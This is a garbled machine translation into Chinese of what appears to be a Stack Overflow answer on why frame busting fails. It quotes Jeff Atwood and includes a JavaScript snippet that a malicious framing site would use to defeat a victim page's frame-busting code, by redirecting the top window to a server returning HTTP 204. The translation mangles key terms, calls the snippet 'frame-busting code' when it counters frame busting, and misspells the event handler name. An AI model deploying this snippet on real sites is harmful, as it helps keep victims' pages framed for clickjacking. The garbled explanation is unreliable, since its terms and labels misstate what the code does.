不幸的是,由于它们的工作方式,总有一种方法可以获得圆形框架杀手.(但是,正在构建框架的网站通常会显示警告).
见杰夫阿特伍德的" 令人不安的启示 ".
一些选择摘录:
如果一个邪恶的网站决定它将构建您的网站,您将被诬陷.期.框架破坏只不过是一种虚假的安全感; 它不起作用.
帧破坏代码(来自链接的Stack Overflow挑战):
<script type="text/javascript">
var prevent_bust = 0
window.onbeforeunload = function() { prevent_bust++ }
setInterval(function() {
if (prevent_bust > 0) {
prevent_bust -= 2
window.top.location = 'http://server-which-responds-with-204.com'
}
}, 1)
</script>
Run Code Online (Sandbox Code Playgroud)
此代码执行以下操作:
每次浏览器尝试通过window.onbeforeonload事件处理程序离开当前页面时,都会递增计数器
设置一个通过setInterval()触发每毫秒的计时器,如果它看到计数器递增,则将当前位置更改为攻击者控制的服务器
该服务器提供具有HTTP状态代码204的页面,这不会导致浏览器在任何地方导航